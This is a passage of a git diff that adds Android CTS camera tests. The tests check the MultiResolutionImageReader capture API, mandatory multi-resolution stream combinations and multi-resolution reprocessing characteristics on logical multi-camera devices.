+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.hardware.camera2.cts;
+
+import android.graphics.ImageFormat;
+import android.hardware.HardwareBuffer;
+import android.hardware.camera2.CameraCharacteristics;
+import android.hardware.camera2.CameraCaptureSession;
+import android.hardware.camera2.CameraDevice;
+import android.hardware.camera2.CaptureFailure;
+import android.hardware.camera2.CaptureRequest;
+import android.hardware.camera2.CaptureResult;
+import android.hardware.camera2.MultiResolutionImageReader;
+import android.hardware.camera2.TotalCaptureResult;
+import android.hardware.camera2.cts.CameraTestUtils.HandlerExecutor;
+import android.hardware.camera2.cts.CameraTestUtils.SimpleCaptureCallback;
+import android.hardware.camera2.cts.testcases.Camera2AndroidTestCase;
+import android.hardware.camera2.cts.helpers.StaticMetadata;
+import android.hardware.camera2.params.MandatoryStreamCombination;
+import android.hardware.camera2.params.MandatoryStreamCombination.MandatoryStreamInformation;
+import android.hardware.camera2.params.MultiResolutionStreamConfigurationMap;
+import android.hardware.camera2.params.MultiResolutionStreamInfo;
+import android.hardware.camera2.params.OutputConfiguration;
+import android.hardware.camera2.params.SessionConfiguration;
+import android.hardware.camera2.params.StreamConfigurationMap;
+import android.media.Image;
+import android.media.ImageReader;
+import android.util.Log;
+import android.util.Range;
+import android.util.Size;
+import android.view.Surface;
+
+import java.util.Arrays;
+import java.util.ArrayList;
+import java.util.Collection;
+import java.util.List;
+import java.util.Set;
+import java.util.concurrent.LinkedBlockingQueue;
+
+import org.junit.runner.RunWith;
+import org.junit.runners.Parameterized;
+import org.junit.Test;
+
+import static android.hardware.camera2.cts.CameraTestUtils.checkSessionConfigurationSupported;
+import static android.hardware.camera2.cts.CameraTestUtils.ImageAndMultiResStreamInfo;
+import static android.hardware.camera2.cts.CameraTestUtils.StreamCombinationTargets;
+import static android.hardware.camera2.cts.CameraTestUtils.SimpleMultiResolutionImageReaderListener;
+import static junit.framework.Assert.assertNotNull;
+import static junit.framework.Assert.assertTrue;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.fail;
+import static org.mockito.Mockito.*;
+
+/**
+ * Basic test for MultiResolutionImageReader APIs.
+ *
+ * <p>Below image formats are tested:</p>
+ *
+ * <p>YUV_420_888: flexible YUV420, it is mandatory format for camera. </p>
+ * <p>JPEG: used for JPEG still capture, also mandatory format. </p>
+ * <p>PRIVATE: used for input for private reprocessing.</p>
+ * <p>RAW: used for raw capture. </p>
+ */
+
+@RunWith(Parameterized.class)
+public class MultiResolutionImageReaderTest extends Camera2AndroidTestCase {
+    private static final String TAG = "MultiResolutionImageReaderTest";
+    private static final boolean VERBOSE = Log.isLoggable(TAG, Log.VERBOSE);
+
+    // Number of frame (for streaming requests) to be verified.
+    private static final int NUM_FRAME_VERIFIED = 6;
+    // Number of frame (for streaming requests) to be verified with log processing time.
+    // Max number of images can be accessed simultaneously from ImageReader.
+    private static final int MAX_NUM_IMAGES = 5;
+    // Capture result timeout
+    private static final int WAIT_FOR_RESULT_TIMEOUT_MS = 3000;
+    private static final int CAPTURE_TIMEOUT = 1500; //ms
+
+    private MultiResolutionImageReader mMultiResolutionImageReader;
+    private SimpleMultiResolutionImageReaderListener mListener;
+
+    @Test
+    public void testMultiResolutionCaptureCharacteristics() {
+        for (String id : mCameraIdsUnderTest) {
+            if (VERBOSE) {
+                Log.v(TAG, "Testing multi-resolution capture characteristics for Camera " + id);
+            }
+            StaticMetadata info = mAllStaticInfo.get(id);
+            CameraCharacteristics c = info.getCharacteristics();
+            StreamConfigurationMap config = c.get(
+                    CameraCharacteristics.SCALER_STREAM_CONFIGURATION_MAP);
+            int[] outputFormats = config.getOutputFormats();
+            int[] capabilities = CameraTestUtils.getValueNotNull(
+                    c, CameraCharacteristics.REQUEST_AVAILABLE_CAPABILITIES);
+            boolean isLogicalCamera = CameraTestUtils.contains(capabilities,
+                    CameraCharacteristics.REQUEST_AVAILABLE_CAPABILITIES_LOGICAL_MULTI_CAMERA);
+            Set<String> physicalCameraIds = c.getPhysicalCameraIds();
+
+            MultiResolutionStreamConfigurationMap multiResolutionMap = c.get(
+                    CameraCharacteristics.SCALER_MULTI_RESOLUTION_STREAM_CONFIGURATION_MAP);
+            if (multiResolutionMap == null) {
+                Log.i(TAG, "Camera " + id + " doesn't support multi-resolution capture.");
+                continue;
+            }
+            if (VERBOSE) {
+                Log.v(TAG, "MULTI_RESOLUTION_STREAM_CONFIGURATION_MAP: "
+                        + multiResolutionMap.toString());
+            }
+
+            int[] multiResolutionOutputFormats = multiResolutionMap.getOutputFormats();
+            //TODO: Handle ultra high resolution sensor camera
+            assertTrue("Camera " + id + " must be a logical multi-camera "
+                    + "to support multi-resolution capture.", isLogicalCamera);
+
+            for (int format : multiResolutionOutputFormats) {
+                assertTrue(String.format("Camera %s: multi-resolution output format %d "
+                        + "isn't a supported format", id, format),
+                        CameraTestUtils.contains(outputFormats, format));
+
+                Collection<MultiResolutionStreamInfo> multiResolutionStreams =
+                        multiResolutionMap.getOutputInfo(format);
+                assertTrue(String.format("Camera %s supports %d multi-resolution "
+                        + "outputInfo, expected at least 2", id,
+                        multiResolutionStreams.size()),
+                        multiResolutionStreams.size() >= 2);
+
+                // Make sure that each multi-resolution output stream info has the maximum size
+                // for that format.
+                for (MultiResolutionStreamInfo streamInfo : multiResolutionStreams) {
+                    String physicalCameraId = streamInfo.getPhysicalCameraId();
+                    int width = streamInfo.getWidth();
+                    int height = streamInfo.getHeight();
+                    assertTrue("Camera " + id + "'s multi-resolution output info " +
+                            "physical camera id " + physicalCameraId + "isn't valid",
+                            physicalCameraIds.contains(physicalCameraId));
+
+                    StaticMetadata pInfo = mAllStaticInfo.get(physicalCameraId);
+                    CameraCharacteristics pChar = pInfo.getCharacteristics();
+                    StreamConfigurationMap pConfig = pChar.get(
+                            CameraCharacteristics.SCALER_STREAM_CONFIGURATION_MAP);
+                    Size[] sizes = pConfig.getOutputSizes(format);
+
+                    assertTrue(String.format("Camera %s physical camera %s must "
+                            + "support at least one output size for output "
+                            + "format %d.", id, physicalCameraId, format),
+                             sizes != null && sizes.length > 0);
+
+                    Size maxSize = CameraTestUtils.getMaxSize(sizes);
+                    assertTrue(String.format("Camera %s's supported multi-resolution"
+                           + " size [%d, %d] for physical camera %s is not the largest "
+                           + "supported size [%d, %d] for format %d", id, width, height,
+                           physicalCameraId, maxSize.getWidth(), maxSize.getHeight(), format),
+                           width == maxSize.getWidth() && height == maxSize.getHeight());
+                }
+            }
+        }
+    }
+
+    @Test
+    public void testMultiResolutionImageReaderJpeg() throws Exception {
+        testMultiResolutionImageReaderForFormat(ImageFormat.JPEG, /*repeating*/false);
+    }
+
+    @Test
+    public void testMultiResolutionImageReaderFlexibleYuv() throws Exception {
+        testMultiResolutionImageReaderForFormat(ImageFormat.YUV_420_888, /*repeating*/false);
+    }
+
+    @Test
+    public void testMultiResolutionImageReaderRaw() throws Exception {
+        testMultiResolutionImageReaderForFormat(ImageFormat.RAW_SENSOR, /*repeating*/false);
+    }
+
+    @Test
+    public void testMultiResolutionImageReaderPrivate() throws Exception {
+        testMultiResolutionImageReaderForFormat(ImageFormat.PRIVATE, /*repeating*/false);
+    }
+
+    @Test
+    public void testMultiResolutionImageReaderRepeatingJpeg() throws Exception {
+        testMultiResolutionImageReaderForFormat(ImageFormat.JPEG, /*repeating*/true);
+    }
+
+    @Test
+    public void testMultiResolutionImageReaderRepeatingFlexibleYuv() throws Exception {
+        testMultiResolutionImageReaderForFormat(ImageFormat.YUV_420_888, /*repeating*/true);
+    }
+
+    @Test
+    public void testMultiResolutionImageReaderRepeatingRaw() throws Exception {
+        testMultiResolutionImageReaderForFormat(ImageFormat.RAW_SENSOR, /*repeating*/true);
+    }
+
+    @Test
+    public void testMultiResolutionImageReaderRepeatingPrivate() throws Exception {
+        testMultiResolutionImageReaderForFormat(ImageFormat.PRIVATE, /*repeating*/true);
+    }
+
+    /**
+     * Test for making sure the mandatory stream combinations work for multi-resolution output.
+     */
+    @Test
+    public void testMultiResolutionMandatoryStreamCombinationTest() throws Exception {
+        for (String id : mCameraIdsUnderTest) {
+            StaticMetadata info = mAllStaticInfo.get(id);
+            CameraCharacteristics c = info.getCharacteristics();
+            MandatoryStreamCombination[] combinations = c.get(
+                            CameraCharacteristics.SCALER_MANDATORY_STREAM_COMBINATIONS);
+            if (combinations == null) {
+                Log.i(TAG, "No mandatory stream combinations for camera: " + id + " skip test");
+                continue;
+            }
+            MultiResolutionStreamConfigurationMap multiResolutionMap = c.get(
+                    CameraCharacteristics.SCALER_MULTI_RESOLUTION_STREAM_CONFIGURATION_MAP);
+            if (multiResolutionMap == null) {
+                Log.i(TAG, "Camera " + id + " doesn't support multi-resolution capture.");
+                continue;
+            }
+            int[] multiResolutionOutputFormats = multiResolutionMap.getOutputFormats();
+            if (multiResolutionOutputFormats.length == 0) {
+                Log.i(TAG, "Camera " + id + " doesn't support multi-resolution output capture.");
+                continue;
+            }
+
+            try {
+                openDevice(id);
+                for (MandatoryStreamCombination combination : combinations) {
+                    if (combination.isReprocessable()) {
+                        continue;
+                    }
+
+                    List<MandatoryStreamCombination.MandatoryStreamInformation> streamsInfo =
+                            combination.getStreamsInformation();
+                    for (MandatoryStreamCombination.MandatoryStreamInformation mandateInfo :
+                            streamsInfo) {
+                        boolean supportMultiResOutput = CameraTestUtils.contains(
+                                multiResolutionOutputFormats, mandateInfo.getFormat());
+                        if (mandateInfo.isMaximumSize() && supportMultiResOutput)  {
+                            testMultiResolutionMandatoryStreamCombination(id, info, combination,
+                                    multiResolutionMap);
+                            break;
+                        }
+                    }
+                }
+            } finally {
+                closeDevice(id);
+            }
+        }
+    }
+
+    private void testMultiResolutionMandatoryStreamCombination(String cameraId,
+            StaticMetadata staticInfo, MandatoryStreamCombination combination,
+            MultiResolutionStreamConfigurationMap multiResStreamConfig) throws Exception {
+        String log = "Testing multi-resolution mandatory stream combination: " +
+                combination.getDescription() + " on camera: " + cameraId;
+        Log.i(TAG, log);
+
+        final int TIMEOUT_FOR_RESULT_MS = 1000;
+        final int MIN_RESULT_COUNT = 3;
+
+        // Set up outputs
+        List<OutputConfiguration> outputConfigs = new ArrayList<OutputConfiguration>();
+        List<Surface> outputSurfaces = new ArrayList<Surface>();
+        StreamCombinationTargets targets = new StreamCombinationTargets();
+
+        CameraTestUtils.setupConfigurationTargets(combination.getStreamsInformation(),
+                targets, outputConfigs, outputSurfaces, MIN_RESULT_COUNT, /*substituteY8*/false,
+                /*substituteHeic*/false, /*physicalCameraId*/null, /*ultraHighResolution*/false,
+                multiResStreamConfig, mHandler);
+
+        boolean haveSession = false;
+        try {
+            CaptureRequest.Builder requestBuilder =
+                    mCamera.createCaptureRequest(CameraDevice.TEMPLATE_PREVIEW);
+
+            for (Surface s : outputSurfaces) {
+                requestBuilder.addTarget(s);
+            }
+
+            CameraCaptureSession.CaptureCallback mockCaptureCallback =
+                    mock(CameraCaptureSession.CaptureCallback.class);
+
+            checkSessionConfigurationSupported(mCamera, mHandler, outputConfigs,
+                    /*inputConfig*/ null, SessionConfiguration.SESSION_REGULAR,
+                    true/*defaultSupport*/, String.format(
+                    "Session configuration query for multi-res combination: %s failed",
+                    combination.getDescription()));
+
+            createSessionByConfigs(outputConfigs);
+            haveSession = true;
+            CaptureRequest request = requestBuilder.build();
+            mCameraSession.setRepeatingRequest(request, mockCaptureCallback, mHandler);
+
+            verify(mockCaptureCallback,
+                    timeout(TIMEOUT_FOR_RESULT_MS * MIN_RESULT_COUNT).atLeast(MIN_RESULT_COUNT))
+                    .onCaptureCompleted(
+                        eq(mCameraSession),
+                        eq(request),
+                        isA(TotalCaptureResult.class));
+            verify(mockCaptureCallback, never()).
+                    onCaptureFailed(
+                        eq(mCameraSession),
+                        eq(request),
+                        isA(CaptureFailure.class));
+
+        } catch (Throwable e) {
+            mCollector.addMessage(
+                    String.format("Mandatory multi-res stream combination: %s failed due: %s",
+                    combination.getDescription(), e.getMessage()));
+        }
+        if (haveSession) {
+            try {
+                Log.i(TAG, String.format(
+                        "Done with camera %s, multi-res combination: %s, closing session",
+                        cameraId, combination.getDescription()));
+                stopCapture(/*fast*/false);
+            } catch (Throwable e) {
+                mCollector.addMessage(
+                    String.format("Closing down for multi-res combination: %s failed due to: %s",
+                            combination.getDescription(), e.getMessage()));
+            }
+        }
+
+        targets.close();
+    }
+
+    private void testMultiResolutionImageReaderForFormat(int format, boolean repeating)
+            throws Exception {
+        for (String id : mCameraIdsUnderTest) {
+            try {
+                if (VERBOSE) {
+                    Log.v(TAG, "Testing multi-resolution capture for Camera " + id
+                            + " format " + format + " repeating " + repeating);
+                }
+                StaticMetadata staticInfo = mAllStaticInfo.get(id);
+                CameraCharacteristics c = staticInfo.getCharacteristics();
+
+                // Find the supported multi-resolution output stream info for the specified format
+                MultiResolutionStreamConfigurationMap multiResolutionMap = c.get(
+                        CameraCharacteristics.SCALER_MULTI_RESOLUTION_STREAM_CONFIGURATION_MAP);
+                if (multiResolutionMap == null) {
+                    Log.i(TAG, "Camera " + id + " doesn't support multi-resolution image reader.");
+                    continue;
+                }
+                int[] outputFormats = multiResolutionMap.getOutputFormats();
+                if (!CameraTestUtils.contains(outputFormats, format)) {
+                    Log.i(TAG, "Camera " + id + " doesn't support multi-resolution image reader "
+                            + "for format " + format + " vs " + Arrays.toString(outputFormats));
+                    continue;
+                }
+                Collection<MultiResolutionStreamInfo> multiResolutionStreams =
+                        multiResolutionMap.getOutputInfo(format);
+
+               /* Test the multi-resolution ImageReader at different zoom ratios
+                 * to give the camera device best chance to switch between
+                 * physical cameras.*/
+                List<Float> zoomRatios = CameraTestUtils.getCandidateZoomRatios(staticInfo);
+
+                openDevice(id);
+                multiResolutionImageReaderFormatTestByCamera(format,
+                        multiResolutionStreams, zoomRatios, repeating);
+            } finally {
+                closeDevice(id);
+            }
+        }
+    }
+
+    private void multiResolutionImageReaderFormatTestByCamera(int format,
+            Collection<MultiResolutionStreamInfo> multiResolutionStreams, List<Float> zoomRatios,
+            boolean repeating) throws Exception {
+        try {
+            int numFrameVerified = repeating ? NUM_FRAME_VERIFIED : 1;
+
+            // Create multi-resolution ImageReader
+            mMultiResolutionImageReader = new MultiResolutionImageReader(
+                    multiResolutionStreams, format, MAX_NUM_IMAGES);
+            mListener = new SimpleMultiResolutionImageReaderListener(
+                    mMultiResolutionImageReader, MAX_NUM_IMAGES, repeating);
+            mMultiResolutionImageReader.setOnImageAvailableListener(mListener,
+                    new HandlerExecutor(mHandler));
+
+            // Create session
+            Collection<OutputConfiguration> outputConfigs =
+                    OutputConfiguration.createInstancesForMultiResolutionOutput(
+                    mMultiResolutionImageReader);
+            ArrayList<OutputConfiguration> outputConfigsList = new ArrayList<OutputConfiguration>(
+                    outputConfigs);
+            createSessionByConfigs(outputConfigsList);
+
+            CaptureRequest.Builder captureBuilder =
+                    mCamera.createCaptureRequest(CameraDevice.TEMPLATE_PREVIEW);
+            assertNotNull("Failed to create captureRequest", captureBuilder);
+            captureBuilder.addTarget(mMultiResolutionImageReader.getSurface());
+
+            // Capture images at different zoom ratios
+            SimpleCaptureCallback listener = new SimpleCaptureCallback();
+            for (Float zoomRatio : zoomRatios) {
+                captureBuilder.set(CaptureRequest.CONTROL_ZOOM_RATIO, zoomRatio);
+                CaptureRequest request = captureBuilder.build();
+
+                int sequenceId = -1;
+                if (repeating) {
+                    sequenceId = mCameraSession.setRepeatingRequest(request, listener, mHandler);
+                } else {
+                    mCameraSession.capture(request, listener, mHandler);
+                }
+
+                // Validate  images
+                validateImage(format, multiResolutionStreams, numFrameVerified, listener,
+                        repeating);
+
+                if (repeating) {
+                    mCameraSession.stopRepeating();
+                    listener.getCaptureSequenceLastFrameNumber(sequenceId, CAPTURE_TIMEOUT);
+                    listener.drain();
+                }
+
+                // Return all pending images to the ImageReader as the validateImage may
+                // take a while to return and there could be many images pending.
+                mMultiResolutionImageReader.flush();
+                mListener.reset();
+            }
+        } finally {
+            // Close MultiResolutionImageReader
+            if (mMultiResolutionImageReader != null) {
+                mMultiResolutionImageReader.close();
+            }
+            mMultiResolutionImageReader = null;
+        }
+    }
+
+    private void validateImage(int format, Collection<MultiResolutionStreamInfo> streams,
+            int captureCount, SimpleCaptureCallback listener, boolean repeating) throws Exception {
+        ImageAndMultiResStreamInfo imgAndStreamInfo;
+        final int MAX_RETRY_COUNT = 20;
+        int retryCount = 0;
+        int numImageVerified = 0;
+        while (numImageVerified < captureCount) {
+            assertNotNull("Image listener is null", mListener);
+            imgAndStreamInfo = mListener.getAnyImageAndInfoAvailable(CAPTURE_WAIT_TIMEOUT_MS);
+            if (imgAndStreamInfo == null && retryCount < MAX_RETRY_COUNT) {
+                // For acquireLatestImage, a null image may be returned.
+                retryCount++;
+                continue;
+            }
+
+            Image img = imgAndStreamInfo.image;
+            MultiResolutionStreamInfo streamInfoForImage = imgAndStreamInfo.streamInfo;
+            mCollector.expectEquals(String.format("Output image width %d doesn't match " +
+                    " the expected width %d", img.getWidth(), streamInfoForImage.getWidth()),
+                    img.getWidth(), streamInfoForImage.getWidth());
+            mCollector.expectEquals(String.format("Output image height %d doesn't match " +
+                    " the expected height %d", img.getHeight(), streamInfoForImage.getHeight()),
+                    img.getHeight(), streamInfoForImage.getHeight());
+
+            if (format != ImageFormat.PRIVATE) {
+                CameraTestUtils.validateImage(img, img.getWidth(), img.getHeight(), format,
+                        mDebugFileNameBase);
+            } else {
+                mCollector.expectEquals(String.format("Output image format %d doesn't match " +
+                        "expected format %d", img.getFormat(), format), format, img.getFormat());
+            }
+
+            // Get active physical camera id in the capture result. Only do the correlation
+            // between activePhysicalCameraId with image size for single request for simplicity
+            // reasons.
+            String activePhysicalCameraId = null;
+            if (!repeating && mStaticInfo.isActivePhysicalCameraIdSupported()) {
+                TotalCaptureResult result = listener.getCaptureResult(
+                        WAIT_FOR_RESULT_TIMEOUT_MS, img.getTimestamp());
+                activePhysicalCameraId =
+                        result.get(CaptureResult.LOGICAL_MULTI_CAMERA_ACTIVE_PHYSICAL_ID);
+                mCollector.expectNotNull(
+                        "Camera's capture result should contain ACTIVE_PHYSICAL_ID",
+                        activePhysicalCameraId);
+                mCollector.expectEquals(String.format("Active physical camera id %s doesn't " +
+                        "match the expected physical camera id %s for the image",
+                        activePhysicalCameraId, streamInfoForImage.getPhysicalCameraId()),
+                        activePhysicalCameraId, streamInfoForImage.getPhysicalCameraId());
+            }
+
+            // Make sure the image size is one within streams
+            boolean validSize = false;
+            for (MultiResolutionStreamInfo streamInfo : streams) {
+                if (streamInfoForImage.getPhysicalCameraId().equals(
+                        streamInfo.getPhysicalCameraId())
+                        && streamInfo.getWidth() == img.getWidth()
+                        && streamInfo.getHeight() == img.getHeight()) {
+                    validSize = true;
+                }
+            }
+            mCollector.expectTrue(String.format("Camera's physical camera id + image size " +
+                    "[%s: %d, %d] must be the supported multi-resolution output streams " +
+                    "for current physical camera", streamInfoForImage.getPhysicalCameraId(),
+                    img.getWidth(), img.getHeight()), validSize);
+
+            HardwareBuffer hwb = img.getHardwareBuffer();
+            assertNotNull("Unable to retrieve the Image's HardwareBuffer", hwb);
+
+            img.close();
+            numImageVerified++;
+        }
+    }
+}
diff --git a/tests/camera/src/android/hardware/camera2/cts/MultiResolutionReprocessCaptureTest.java b/tests/camera/src/android/hardware/camera2/cts/MultiResolutionReprocessCaptureTest.java
new file mode 100644
index 0000000..6118c6a
--- /dev/null
+++ b/tests/camera/src/android/hardware/camera2/cts/MultiResolutionReprocessCaptureTest.java
@@ -0,0 +1,823 @@
+/*
+ * iCopyright 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.hardware.camera2.cts;
+
+import static android.hardware.camera2.cts.CameraTestUtils.*;
+
+import android.graphics.ImageFormat;
+import android.media.Image;
+import android.media.ImageReader;
+import android.media.ImageWriter;
+import android.hardware.camera2.CameraCharacteristics;
+import android.hardware.camera2.CameraCaptureSession;
+import android.hardware.camera2.CameraDevice;
+import android.hardware.camera2.CaptureFailure;
+import android.hardware.camera2.CaptureRequest;
+import android.hardware.camera2.CaptureResult;
+import android.hardware.camera2.MultiResolutionImageReader;
+import android.hardware.camera2.TotalCaptureResult;
+import android.hardware.camera2.cts.helpers.StaticMetadata;
+import android.hardware.camera2.cts.helpers.StaticMetadata.CheckLevel;
+import android.hardware.camera2.cts.testcases.Camera2AndroidTestCase;
+import android.hardware.camera2.params.MandatoryStreamCombination;
+import android.hardware.camera2.params.MandatoryStreamCombination.MandatoryStreamInformation;
+import android.hardware.camera2.params.MultiResolutionStreamConfigurationMap;
+import android.hardware.camera2.params.MultiResolutionStreamInfo;
+import android.hardware.camera2.params.InputConfiguration;
+import android.hardware.camera2.params.OutputConfiguration;
+import android.hardware.camera2.params.SessionConfiguration;
+import android.hardware.camera2.params.StreamConfigurationMap;
+import android.util.Log;
+import android.util.Size;
+import android.view.Surface;
+import android.view.SurfaceHolder;
+
+import com.android.ex.camera2.blocking.BlockingSessionCallback;
+
+import java.util.Arrays;
+import java.util.ArrayList;
+import java.util.Collection;
+import java.util.List;
+import java.util.Map;
+import java.util.Set;
+
+import org.junit.runners.Parameterized;
+import org.junit.runner.RunWith;
+import org.junit.Test;
+import static org.mockito.Mockito.*;
+
+/**
+ * Tests for multi-resolution size reprocessing.
+ */
+
+@RunWith(Parameterized.class)
+public class MultiResolutionReprocessCaptureTest extends Camera2AndroidTestCase  {
+    private static final String TAG = "MultiResolutionReprocessCaptureTest";
+    private static final boolean VERBOSE = Log.isLoggable(TAG, Log.VERBOSE);
+    private static final boolean DEBUG = Log.isLoggable(TAG, Log.DEBUG);
+    private static final int CAPTURE_TIMEOUT_FRAMES = 100;
+    private static final int CAPTURE_TIMEOUT_MS = 3000;
+    private static final int WAIT_FOR_SURFACE_CHANGE_TIMEOUT_MS = 1000;
+    private static final int CAPTURE_TEMPLATE = CameraDevice.TEMPLATE_ZERO_SHUTTER_LAG;
+    private int mDumpFrameCount = 0;
+
+    // The image reader for the regular captures
+    private MultiResolutionImageReader mMultiResImageReader;
+    // The image reader for the reprocess capture
+    private MultiResolutionImageReader mSecondMultiResImageReader;
+    // A flag indicating whether the regular capture and the reprocess capture share the same
+    // multi-resolution image reader. If it's true, the mMultiResImageReader should be used for
+    // both regular and reprocess outputs.
+    private boolean mShareOneReader;
+    private SimpleMultiResolutionImageReaderListener mMultiResImageReaderListener;
+    private SimpleMultiResolutionImageReaderListener mSecondMultiResImageReaderListener;
+    private Surface mInputSurface;
+    private ImageWriter mImageWriter;
+    private SimpleImageWriterListener mImageWriterListener;
+
+    @Test
+    public void testMultiResolutionReprocessCharacteristics() {
+        for (String id : mCameraIdsUnderTest) {
+            if (VERBOSE) {
+                Log.v(TAG, "Testing multi-resolution reprocess characteristics for Camera " + id);
+            }
+            StaticMetadata info = mAllStaticInfo.get(id);
+            CameraCharacteristics c = info.getCharacteristics();
+            StreamConfigurationMap config = c.get(
+                    CameraCharacteristics.SCALER_STREAM_CONFIGURATION_MAP);
+            int[] inputFormats = config.getInputFormats();
+            int[] capabilities = CameraTestUtils.getValueNotNull(
+                    c, CameraCharacteristics.REQUEST_AVAILABLE_CAPABILITIES);
+            boolean isLogicalCamera = CameraTestUtils.contains(capabilities,
+                    CameraCharacteristics.REQUEST_AVAILABLE_CAPABILITIES_LOGICAL_MULTI_CAMERA);
+            Set<String> physicalCameraIds = c.getPhysicalCameraIds();
+
+            MultiResolutionStreamConfigurationMap multiResolutionMap = c.get(
+                    CameraCharacteristics.SCALER_MULTI_RESOLUTION_STREAM_CONFIGURATION_MAP);
+            if (multiResolutionMap == null) {
+                Log.i(TAG, "Camera " + id + " doesn't support multi-resolution reprocessing.");
+                continue;
+            }
+            if (VERBOSE) {
+                Log.v(TAG, "MULTI_RESOLUTION_STREAM_CONFIGURATION_MAP: "
+                        + multiResolutionMap.toString());
+            }
+
+            // Find multi-resolution input and output formats
+            int[] multiResolutionInputFormats = multiResolutionMap.getInputFormats();
+            int[] multiResolutionOutputFormats = multiResolutionMap.getOutputFormats();
+
+            //TODO: Handle ultra high resolution sensor camera
+            assertTrue("Camera " + id + " must be a logical multi-camera "
+                    + "to support multi-resolution reprocessing.", isLogicalCamera);
+
+            for (int format : multiResolutionInputFormats) {
+                assertTrue(String.format("Camera %s: multi-resolution input format %d "
+                        + "isn't a supported format", id, format),
+                        CameraTestUtils.contains(inputFormats, format));
+
+                Collection<MultiResolutionStreamInfo> multiResolutionStreams =
+                        multiResolutionMap.getInputInfo(format);
+                assertTrue(String.format("Camera %s supports %d multi-resolution "
+                        + "input stream info, expected at least 2", id,
+                        multiResolutionStreams.size()),
+                        multiResolutionStreams.size() >= 2);
+
+                // Make sure that each multi-resolution input stream info has the maximum size
+                // for that format.
+                for (MultiResolutionStreamInfo streamInfo : multiResolutionStreams) {
+                    String physicalCameraId = streamInfo.getPhysicalCameraId();
+                    int width = streamInfo.getWidth();
+                    int height = streamInfo.getHeight();
+                    assertTrue("Camera " + id + "'s multi-resolution input info "
+                            + "physical camera id " + physicalCameraId + "isn't valid",
+                            physicalCameraIds.contains(physicalCameraId));
+
+                    StaticMetadata pInfo = mAllStaticInfo.get(physicalCameraId);
+                    CameraCharacteristics pChar = pInfo.getCharacteristics();
+                    StreamConfigurationMap pConfig = pChar.get(
+                            CameraCharacteristics.SCALER_STREAM_CONFIGURATION_MAP);
+                    Size[] sizes = pConfig.getInputSizes(format);
+
+                    assertTrue(String.format("Camera %s physical camera %s must "
+                            + "support at least one input size for multi-resolution input "
+                            + "format %d.", id, physicalCameraId, format),
+                             sizes != null && sizes.length > 0);
+
+                    Size maxSize = CameraTestUtils.getMaxSize(sizes);
+                    assertTrue(String.format("Camera %s's supported multi-resolution"
+                           + " input size [%d, %d] for physical camera %s is not the largest "
+                           + "supported input size [%d, %d] for format %d", id, width, height,
+                           physicalCameraId, maxSize.getWidth(), maxSize.getHeight(), format),
+                           width == maxSize.getWidth() && height == maxSize.getHeight());
+                }
+            }
+
+            // YUV reprocessing capabilities check
+            if (CameraTestUtils.contains(multiResolutionOutputFormats, ImageFormat.YUV_422_888) &&
+                    CameraTestUtils.contains(multiResolutionInputFormats,
+                    ImageFormat.YUV_420_888)) {
+                assertTrue("The camera device must have YUV_REPROCESSING capability if it "
+                        + "supports multi-resolution YUV input and YUV output",
+                        CameraTestUtils.contains(capabilities,
+                        CameraCharacteristics.REQUEST_AVAILABLE_CAPABILITIES_YUV_REPROCESSING));
+
+                assertTrue("The camera device must supports multi-resolution JPEG output if "
+                        + "supports multi-resolution YUV input and YUV output",
+                        CameraTestUtils.contains(multiResolutionOutputFormats, ImageFormat.JPEG));
+            }
+
+            // OPAQUE reprocessing capabilities check
+            if (CameraTestUtils.contains(multiResolutionOutputFormats, ImageFormat.PRIVATE) &&
+                    CameraTestUtils.contains(multiResolutionInputFormats, ImageFormat.PRIVATE)) {
+                assertTrue("The camera device must have PRIVATE_REPROCESSING capability if it "
+                        + "supports multi-resolution PRIVATE input and PRIVATE output",
+                        CameraTestUtils.contains(capabilities,
+                        CameraCharacteristics.REQUEST_AVAILABLE_CAPABILITIES_PRIVATE_REPROCESSING));
+
+                assertTrue("The camera device must supports multi-resolution JPEG output if "
+                        + "supports multi-resolution PRIVATE input and PRIVATE output",
+                        CameraTestUtils.contains(multiResolutionOutputFormats, ImageFormat.JPEG));
+                assertTrue("The camera device must supports multi-resolution YUV output if "
+                        + "supports multi-resolution PRIVATE input and PRIVATE output",
+                        CameraTestUtils.contains(multiResolutionOutputFormats,
+                        ImageFormat.YUV_420_888));
+            }
+        }
+    }
+
+    /**
+     * Test YUV_420_888 -> YUV_420_888 multi-resolution reprocessing
+     */
+    @Test
+    public void testMultiResolutionYuvToYuvReprocessing() throws Exception {
+        for (String id : mCameraIdsUnderTest) {
+            testMultiResolutionReprocessing(id, ImageFormat.YUV_420_888, ImageFormat.YUV_420_888);
+        }
+    }
+
+    /**
+     * Test YUV_420_888 -> JPEG multi-resolution reprocessing
+     */
+    @Test
+    public void testMultiResolutionYuvToJpegReprocessing() throws Exception {
+        for (String id : mCameraIdsUnderTest) {
+            testMultiResolutionReprocessing(id, ImageFormat.YUV_420_888, ImageFormat.JPEG);
+        }
+    }
+
+    /**
+     * Test OPAQUE -> YUV_420_888 multi-resolution reprocessing
+     */
+    @Test
+    public void testMultiResolutionOpaqueToYuvReprocessing() throws Exception {
+        for (String id : mCameraIdsUnderTest) {
+            // Opaque -> YUV_420_888 must be supported.
+            testMultiResolutionReprocessing(id, ImageFormat.PRIVATE, ImageFormat.YUV_420_888);
+        }
+    }
+
+    /**
+     * Test OPAQUE -> JPEG multi-resolution reprocessing
+     */
+    @Test
+    public void testMultiResolutionOpaqueToJpegReprocessing() throws Exception {
+        for (String id : mCameraIdsUnderTest) {
+            // OPAQUE -> JPEG must be supported.
+            testMultiResolutionReprocessing(id, ImageFormat.PRIVATE, ImageFormat.JPEG);
+        }
+    }
+
+    /**
+     * Test for making sure the mandatory stream combinations work for multi-resolution
+     * reprocessing.
+     */
+    @Test
+    public void testMultiResolutionMandatoryStreamCombinationTest() throws Exception {
+        for (String id : mCameraIdsUnderTest) {
+            StaticMetadata info = mAllStaticInfo.get(id);
